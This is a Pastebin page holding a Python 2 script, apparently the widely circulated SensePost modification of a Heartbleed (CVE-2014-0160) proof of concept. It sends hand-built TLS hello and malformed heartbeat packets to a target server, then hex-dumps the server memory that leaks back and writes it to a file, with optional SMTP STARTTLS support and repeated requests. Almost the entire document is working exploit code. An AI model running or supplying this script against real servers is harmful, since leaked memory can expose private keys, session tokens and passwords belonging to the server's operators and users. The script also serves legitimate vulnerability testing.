Advertisement
Guest User

Untitled

a guest
Oct 24th, 2017
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.91 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
  4. # The author disclaims copyright to this source code.
  5. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
  6.  
  7. import sys
  8. import struct
  9. import socket
  10. import time
  11. import select
  12. import re
  13. from optparse import OptionParser
  14. import smtplib
  15.  
  16. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  17. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  18. options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
  19. options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
  20. options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
  21. options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
  22.  
  23. def h2bin(x):
  24.     return x.replace(' ', '').replace('\n', '').decode('hex')
  25.  
  26. hello = h2bin('''
  27. 16 03 02 00  dc 01 00 00 d8 03 02 53
  28. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  29. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  30. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  31. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  32. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  33. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  34. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  35. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  36. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  37. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  38. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  39. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  40. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  41. 00 0f 00 01 01
  42. ''')
  43.  
  44. hbv10 = h2bin('''
  45. 18 03 01 00 03
  46. 01 40 00
  47. ''')
  48.  
  49. hbv11 = h2bin('''
  50. 18 03 02 00 03
  51. 01 40 00
  52. ''')
  53.  
  54. hbv12 = h2bin('''
  55. 18 03 03 00 03
  56. 01 40 00
  57. ''')
  58.  
  59. def hexdump(s, dumpf, quiet):
  60.     dump = open(dumpf,'a')
  61.     dump.write(s)
  62.     dump.close()
  63.     if quiet: return
  64.     for b in xrange(0, len(s), 16):
  65.         lin = [c for c in s[b : b + 16]]
  66.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  67.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  68.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  69.     print
  70.  
  71. def recvall(s, length, timeout=5):
  72.     endtime = time.time() + timeout
  73.     rdata = ''
  74.     remain = length
  75.     while remain > 0:
  76.         rtime = endtime - time.time()
  77.         if rtime < 0:
  78.             if not rdata:
  79.                 return None
  80.             else:
  81.                 return rdata
  82.         r, w, e = select.select([s], [], [], 5)
  83.         if s in r:
  84.             data = s.recv(remain)
  85.             # EOF?
  86.             if not data:
  87.                 return None
  88.             rdata += data
  89.             remain -= len(data)
  90.     return rdata
  91.  
  92. def recvmsg(s):
  93.     hdr = recvall(s, 5)
  94.     if hdr is None:
  95.         print 'Unexpected EOF receiving record header - server closed connection'
  96.         return None, None, None
  97.     typ, ver, ln = struct.unpack('>BHH', hdr)
  98.     pay = recvall(s, ln, 10)
  99.     if pay is None:
  100.         print 'Unexpected EOF receiving record payload - server closed connection'
  101.         return None, None, None
  102.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  103.     return typ, ver, pay
  104.  
  105. def hit_hb(s, dumpf, host, quiet):
  106.     while True:
  107.         typ, ver, pay = recvmsg(s)
  108.         if typ is None:
  109.             print 'No heartbeat response received from '+host+', server likely not vulnerable'
  110.             return False
  111.  
  112.         if typ == 24:
  113.             if not quiet: print 'Received heartbeat response:'
  114.             hexdump(pay, dumpf, quiet)
  115.             if len(pay) > 3:
  116.                 print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!'
  117.             else:
  118.                 print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.'
  119.             return True
  120.  
  121.         if typ == 21:
  122.             if not quiet: print 'Received alert:'
  123.             hexdump(pay, dumpf, quiet)
  124.             print 'Server '+ host +' returned error, likely not vulnerable'
  125.             return False
  126.  
  127. def connect(host, port, quiet):
  128.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  129.     if not quiet: print 'Connecting...'
  130.     sys.stdout.flush()
  131.     s.connect((host, port))
  132.     return s
  133.  
  134. def tls(s, quiet):
  135.     if not quiet: print 'Sending Client Hello...'
  136.     sys.stdout.flush()
  137.     s.send(hello)
  138.     if not quiet: print 'Waiting for Server Hello...'
  139.     sys.stdout.flush()
  140.  
  141. def parseresp(s):
  142.     while True:
  143.         typ, ver, pay = recvmsg(s)
  144.         if typ == None:
  145.             print 'Server closed connection without sending Server Hello.'
  146.             return 0
  147.         # Look for server hello done message.
  148.         if typ == 22 and ord(pay[0]) == 0x0E:
  149.             return ver
  150.  
  151. def check(host, port, dumpf, quiet, starttls):
  152.     response = False
  153.     if starttls:
  154.         try:
  155.             s = smtplib.SMTP(host=host,port=port)
  156.             s.ehlo()
  157.             s.starttls()
  158.         except smtplib.SMTPException:
  159.             print 'STARTTLS not supported...'
  160.             s.quit()
  161.             return False
  162.         print 'STARTTLS supported...'
  163.         s.quit()
  164.         s = connect(host, port, quiet)
  165.         s.settimeout(1)
  166.         try:
  167.             re = s.recv(1024)
  168.             s.send('ehlo starttlstest\r\n')
  169.             re = s.recv(1024)
  170.             s.send('starttls\r\n')
  171.             re = s.recv(1024)
  172.         except socket.timeout:
  173.             print 'Timeout issues, going ahead anyway, but it is probably broken ...'
  174.         tls(s,quiet)
  175.     else:
  176.         s = connect(host, port, quiet)
  177.         tls(s,quiet)
  178.  
  179.     version = parseresp(s)
  180.  
  181.     if version == 0:
  182.         if not quiet: print "Got an error while parsing the response, bailing ..."
  183.         return False
  184.     else:
  185.         version = version - 0x0300
  186.         if not quiet: print "Server TLS version was 1.%d\n" % version
  187.  
  188.     if not quiet: print 'Sending heartbeat request...'
  189.     sys.stdout.flush()
  190.     if (version == 1):
  191.         s.send(hbv10)
  192.         response = hit_hb(s,dumpf, host, quiet)
  193.     if (version == 2):
  194.         s.send(hbv11)
  195.         response = hit_hb(s,dumpf, host, quiet)
  196.     if (version == 3):
  197.         s.send(hbv12)
  198.         response = hit_hb(s,dumpf, host, quiet)
  199.     s.close()
  200.     return response
  201.  
  202. def main():
  203.     opts, args = options.parse_args()
  204.     if len(args) < 1:
  205.         options.print_help()
  206.         return
  207.  
  208.     print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
  209.     for i in xrange(0,opts.num):
  210.         check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
  211.  
  212. if __name__ == '__main__':
  213.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement